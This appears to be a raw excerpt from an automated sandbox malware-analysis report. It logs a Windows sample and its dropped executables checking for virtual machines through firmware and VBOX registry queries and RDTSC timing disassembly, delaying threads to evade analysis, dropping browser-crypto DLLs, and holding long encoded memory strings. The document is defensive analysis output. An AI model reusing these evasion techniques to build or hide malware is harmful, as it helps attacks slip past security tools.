Source: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\ccSearcher\ccsearcher.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\fJe9em23BB.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\System32\svchost.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\fJe9em23BB.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to evade analysis by execution special instruction (VM detection)

Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	Special instruction interceptor: First address: 0000000000D19BC6 instructions rdtsc caused by: RDTSC with Trap Flag (TF)
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	Special instruction interceptor: First address: 0000000000CDAC0B instructions rdtsc caused by: RDTSC with Trap Flag (TF)

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Pictures\Minor Policy\VSVo7xFGZNVBCHvpzHHk7X6w.exe	RDTSC instruction interceptor: First address: 000000014062B08D second address: 000000014062B0B5 instructions: 0x00000000 rdtsc 0x00000002 cbw 0x00000004 inc ecx 0x00000005 push eax 0x00000006 cmc 0x00000007 bswap edx 0x00000009 push esi 0x0000000a cmc 0x0000000b push ebx 0x0000000c ror bx, 001Ah 0x00000010 inc cx 0x00000012 cmovno ebx, esp 0x00000015 inc eax 0x00000016 setbe dh 0x00000019 dec ecx 0x0000001a mov eax, 00000000h 0x0000001f add byte ptr [eax], al 0x00000021 add byte ptr [eax], al 0x00000023 inc cx 0x00000025 movsx eax, bh 0x00000028 rdtsc
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	RDTSC instruction interceptor: First address: 00000000005ECCF9 second address: 00000000005689DA instructions: 0x00000000 rdtsc 0x00000002 push ebp 0x00000003 mov esi, ebp 0x00000005 movsx edx, dx 0x00000008 push ebx 0x00000009 dec al 0x0000000b jmp 00007F37889F3C25h 0x00000010 mov ecx, 00000000h 0x00000015 mov bp, di 0x00000018 mov dl, 82h 0x0000001a push ecx 0x0000001b mov esi, dword ptr [esp+28h] 0x0000001f mov edi, ebx 0x00000021 mov edi, 5C276D25h 0x00000026 bswap esi 0x00000028 cmovb ebp, edx 0x0000002b inc esi 0x0000002c bts ax, bx 0x00000030 rol esi, 02h 0x00000033 test esi, 154925B3h 0x00000039 movzx eax, si 0x0000003c xor dx, si 0x0000003f not esi 0x00000041 rdtsc
Source: C:\Users\user\Pictures\Minor Policy\VSVo7xFGZNVBCHvpzHHk7X6w.exe	RDTSC instruction interceptor: First address: 00000001402B7CBC second address: 00000001402B7CE4 instructions: 0x00000000 rdtsc 0x00000002 cbw 0x00000004 inc ecx 0x00000005 push eax 0x00000006 cmc 0x00000007 bswap edx 0x00000009 push esi 0x0000000a cmc 0x0000000b push ebx 0x0000000c ror bx, 001Ah 0x00000010 inc cx 0x00000012 cmovno ebx, esp 0x00000015 inc eax 0x00000016 setbe dh 0x00000019 dec ecx 0x0000001a mov eax, 00000000h 0x0000001f add byte ptr [eax], al 0x00000021 add byte ptr [eax], al 0x00000023 inc cx 0x00000025 movsx eax, bh 0x00000028 rdtsc
Source: C:\Users\user\Pictures\Minor Policy\VSVo7xFGZNVBCHvpzHHk7X6w.exe	RDTSC instruction interceptor: First address: 00000001401AAB83 second address: 00000001402B7CBC instructions: 0x00000000 rdtsc 0x00000002 pop ebp 0x00000003 pop ecx 0x00000004 inc ecx 0x00000005 xchg bh, al 0x00000007 inc ecx 0x00000008 pop edx 0x00000009 inc ecx 0x0000000a pop edi 0x0000000b pop ebx 0x0000000c cbw 0x0000000e dec ecx 0x0000000f movzx edx, bp 0x00000012 pop edi 0x00000013 pop edx 0x00000014 dec eax 0x00000015 mov eax, 096A6492h 0x0000001b cbw 0x0000001d pop eax 0x0000001e jmp 00007F3788AFA49Ch 0x00000023 ret 0x00000024 movdqu dqword ptr [esp+00000160h], xmm0 0x0000002d push F8F9FC9Dh 0x00000032 call 00007F37889CF2C5h 0x00000037 push ecx 0x00000038 jmp 00007F3788A287DFh 0x0000003d inc ecx 0x0000003e push edx 0x0000003f jmp 00007F3788AEE259h 0x00000044 push edx 0x00000045 inc ecx 0x00000046 push ebp 0x00000047 dec eax 0x00000048 movzx edx, ax 0x0000004b mov dl, 00h 0x0000004d push ebp 0x0000004e push edi 0x0000004f cdq 0x00000050 mov dl, 10h 0x00000052 inc ecx 0x00000053 push ecx 0x00000054 dec eax 0x00000055 xchg edx, edx 0x00000057 pushfd 0x00000058 dec ebp 0x00000059 movsx ecx, bp 0x0000005c dec ecx 0x0000005d xchg ecx, edx 0x0000005f dec ecx 0x00000060 rcr ecx, cl 0x00000062 inc ecx 0x00000063 push edi 0x00000064 bt edx, 23h 0x00000068 jmp 00007F3788AD5EFDh 0x0000006d inc ecx 0x0000006e push ebx 0x0000006f inc ecx 0x00000070 push esp 0x00000071 dec ecx 0x00000072 movsx edx, sp 0x00000075 push eax 0x00000076 inc ecx 0x00000077 push esi 0x00000078 dec esp 0x00000079 movsx ebx, bx 0x0000007c rdtsc

Source: C:\Users\user\Desktop\fJe9em23BB.exe TID: 1012	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe TID: 4668	Thread sleep count: 51 > 30	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe TID: 5964	Thread sleep count: 67 > 30	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe TID: 4908	Thread sleep time: -64000s >= -30000s	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe TID: 6768	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe TID: 4608	Thread sleep time: -62000s >= -30000s	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe TID: 7120	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe TID: 6976	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\VSVo7xFGZNVBCHvpzHHk7X6w.exe TID: 6708	Thread sleep time: -510000s >= -30000s	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\VSVo7xFGZNVBCHvpzHHk7X6w.exe TID: 6380	Thread sleep time: -2400000s >= -30000s	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe TID: 7156	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe TID: 7092	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4432	Thread sleep count: 200 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\VSVo7xFGZNVBCHvpzHHk7X6w.exe	Thread delayed: delay time: 480000	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Window / User API: threadDelayed 4805

Source: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-NIR25.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\TrdngAnr6339[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\ccSearcher\is-46B6D.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-NIR25.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\I1E4fVux.exe	Jump to dropped file
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\1Mr090DD.exe	Jump to dropped file
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\ccSearcher\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-NIR25.tmp\_isetup\_shfoldr.dll	Jump to dropped file

Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe

Registry key enumerated: More than 174 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Memory allocated: 2880000 memory reserve \| memory write watch
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Memory allocated: 2BC0000 memory reserve \| memory write watch
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Memory allocated: 4BC0000 memory reserve \| memory write watch

Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\VSVo7xFGZNVBCHvpzHHk7X6w.exe	Thread delayed: delay time: 480000	Jump to behavior

Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe

API call chain: ExitProcess graph end node

graph_14-19990

Source: C:\Users\user\Desktop\fJe9em23BB.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.359009792.00000000005F2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 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
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.391475629.0000000000612000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.443928650.0000000000612000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.504120231.0000000000612000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.510069669.0000000000612000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.432970772.0000000000612000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.375104965.0000000000612000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.388695606.0000000000612000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.372650662.0000000000612000.00000004.00000001.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.400933739.0000000000612000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.435233271.000000000067B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: M8L5RJ4SH80ehgFST82YbagYP/3soq5XCV103AABO8GWOM9jzUG9pqQ65IP5GPRDu23FkMjK3Gf1kr3Gpm7V9YaGVWMT3DkRpma9uAKjugadVJIYOFY1y+6Y
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.359009792.00000000005F2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 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
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.435233271.000000000067B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: DhHWazeezetpfT0VpJr1Q64QgHcMbnwZFQ23TTPL8ycERvYa+v2DGlUmLdRcUa8JvlNv5MnW63qrAoY3MIz4XFdquCuB2O8Saf5uD5XB2XhlSnr7sk3grNdoMQ EhM8L5RJ4SH80ehgFST82YbagYP/3soq5XCV103AABO8GWOM9jzUG9pqQ65IP5GPRDu23FkMjK3Gf1kr3Gpm7V9YaGVWMT3DkRpma9uAKjugadVJIYOFY1y+6Y

Source: C:\Users\user\Desktop\fJe9em23BB.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe

Code function: 14_2_008735FE VirtualQuery,GetSystemInfo,

14_2_008735FE

